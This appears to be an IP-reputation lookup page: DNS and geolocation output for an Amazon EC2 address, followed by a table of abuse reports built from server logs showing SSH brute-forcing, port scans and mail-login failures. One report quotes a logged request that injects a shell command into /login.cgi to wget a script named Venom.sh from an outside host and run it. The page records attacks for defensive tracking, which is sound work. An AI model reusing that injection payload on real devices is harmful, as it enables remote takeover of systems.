City: unknown
Region: unknown
Country: United States of America (the)
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 54.82.55.18
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 48549
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;54.82.55.18. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025020500 1800 900 604800 86400
;; Query time: 64 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Feb 05 21:09:19 CST 2025
;; MSG SIZE rcvd: 10418.55.82.54.in-addr.arpa domain name pointer ec2-54-82-55-18.compute-1.amazonaws.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
18.55.82.54.in-addr.arpa name = ec2-54-82-55-18.compute-1.amazonaws.com.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 142.93.245.188 | attackbotsspam | 142.93.245.188 - - [27/Nov/2019:23:59:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://194.50.171.185/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0" ... |
2019-11-28 07:33:21 |
| 139.198.191.217 | attack | 1574895578 - 11/27/2019 23:59:38 Host: 139.198.191.217/139.198.191.217 Port: 22 TCP Blocked |
2019-11-28 07:17:34 |
| 219.133.71.26 | attack | $f2bV_matches_ltvn |
2019-11-28 07:51:42 |
| 71.6.147.254 | attackbotsspam | IDP SENSOR - ET CINS Active Threat Intelligence Poor Reputation IP TCP group 64 |
2019-11-28 07:39:44 |
| 142.93.195.189 | attackbotsspam | 2019-11-27T23:10:39.516429shield sshd\[31734\]: Invalid user jorgegil from 142.93.195.189 port 50936 2019-11-27T23:10:39.520895shield sshd\[31734\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=allseasonglobalsolutions.com 2019-11-27T23:10:41.361034shield sshd\[31734\]: Failed password for invalid user jorgegil from 142.93.195.189 port 50936 ssh2 2019-11-27T23:16:26.883202shield sshd\[31950\]: Invalid user vcsa from 142.93.195.189 port 58612 2019-11-27T23:16:26.887910shield sshd\[31950\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=allseasonglobalsolutions.com |
2019-11-28 07:28:02 |
| 209.17.97.122 | attack | 209.17.97.122 was recorded 9 times by 8 hosts attempting to connect to the following ports: 37777,30303,111,27017,873,21,4786,6379. Incident counter (4h, 24h, all-time): 9, 45, 803 |
2019-11-28 07:53:09 |
| 118.24.38.12 | attack | Nov 27 15:07:48 home sshd[13178]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.24.38.12 user=root Nov 27 15:07:50 home sshd[13178]: Failed password for root from 118.24.38.12 port 58228 ssh2 Nov 27 15:58:21 home sshd[13409]: Invalid user yoshikado from 118.24.38.12 port 42578 Nov 27 15:58:21 home sshd[13409]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.24.38.12 Nov 27 15:58:21 home sshd[13409]: Invalid user yoshikado from 118.24.38.12 port 42578 Nov 27 15:58:24 home sshd[13409]: Failed password for invalid user yoshikado from 118.24.38.12 port 42578 ssh2 Nov 27 16:05:30 home sshd[13443]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.24.38.12 user=lp Nov 27 16:05:32 home sshd[13443]: Failed password for lp from 118.24.38.12 port 59721 ssh2 Nov 27 16:12:34 home sshd[13464]: Invalid user manu from 118.24.38.12 port 48633 Nov 27 16:12:34 home sshd[13464]: pam_unix(sshd:aut |
2019-11-28 07:39:32 |
| 143.137.177.166 | attackbotsspam | port scan/probe/communication attempt; port 23 |
2019-11-28 07:19:18 |
| 92.119.160.52 | attackbotsspam | Fail2Ban Ban Triggered |
2019-11-28 07:19:51 |
| 125.162.115.48 | attackbotsspam | port scan/probe/communication attempt; port 23 |
2019-11-28 07:36:47 |
| 218.92.0.191 | attackspambots | Nov 28 00:29:18 dcd-gentoo sshd[15324]: User root from 218.92.0.191 not allowed because none of user's groups are listed in AllowGroups Nov 28 00:29:21 dcd-gentoo sshd[15324]: error: PAM: Authentication failure for illegal user root from 218.92.0.191 Nov 28 00:29:18 dcd-gentoo sshd[15324]: User root from 218.92.0.191 not allowed because none of user's groups are listed in AllowGroups Nov 28 00:29:21 dcd-gentoo sshd[15324]: error: PAM: Authentication failure for illegal user root from 218.92.0.191 Nov 28 00:29:18 dcd-gentoo sshd[15324]: User root from 218.92.0.191 not allowed because none of user's groups are listed in AllowGroups Nov 28 00:29:21 dcd-gentoo sshd[15324]: error: PAM: Authentication failure for illegal user root from 218.92.0.191 Nov 28 00:29:21 dcd-gentoo sshd[15324]: Failed keyboard-interactive/pam for invalid user root from 218.92.0.191 port 54850 ssh2 ... |
2019-11-28 07:35:41 |
| 45.227.253.212 | attack | Nov 28 00:15:42 andromeda postfix/smtpd\[1673\]: warning: unknown\[45.227.253.212\]: SASL LOGIN authentication failed: authentication failure Nov 28 00:15:44 andromeda postfix/smtpd\[48240\]: warning: unknown\[45.227.253.212\]: SASL LOGIN authentication failed: authentication failure Nov 28 00:16:06 andromeda postfix/smtpd\[48240\]: warning: unknown\[45.227.253.212\]: SASL LOGIN authentication failed: authentication failure Nov 28 00:16:07 andromeda postfix/smtpd\[1675\]: warning: unknown\[45.227.253.212\]: SASL LOGIN authentication failed: authentication failure Nov 28 00:16:24 andromeda postfix/smtpd\[1673\]: warning: unknown\[45.227.253.212\]: SASL LOGIN authentication failed: authentication failure |
2019-11-28 07:36:25 |
| 66.249.66.26 | attack | Automatic report - Banned IP Access |
2019-11-28 07:43:03 |
| 222.186.169.192 | attack | Nov 28 00:49:14 eventyay sshd[30054]: Failed password for root from 222.186.169.192 port 2000 ssh2 Nov 28 00:49:28 eventyay sshd[30054]: error: maximum authentication attempts exceeded for root from 222.186.169.192 port 2000 ssh2 [preauth] Nov 28 00:49:33 eventyay sshd[30057]: Failed password for root from 222.186.169.192 port 20954 ssh2 ... |
2019-11-28 07:54:07 |
| 89.248.174.223 | attackspam | 11/27/2019-17:59:35.424287 89.248.174.223 Protocol: 6 ET DROP Dshield Block Listed Source group 1 |
2019-11-28 07:20:23 |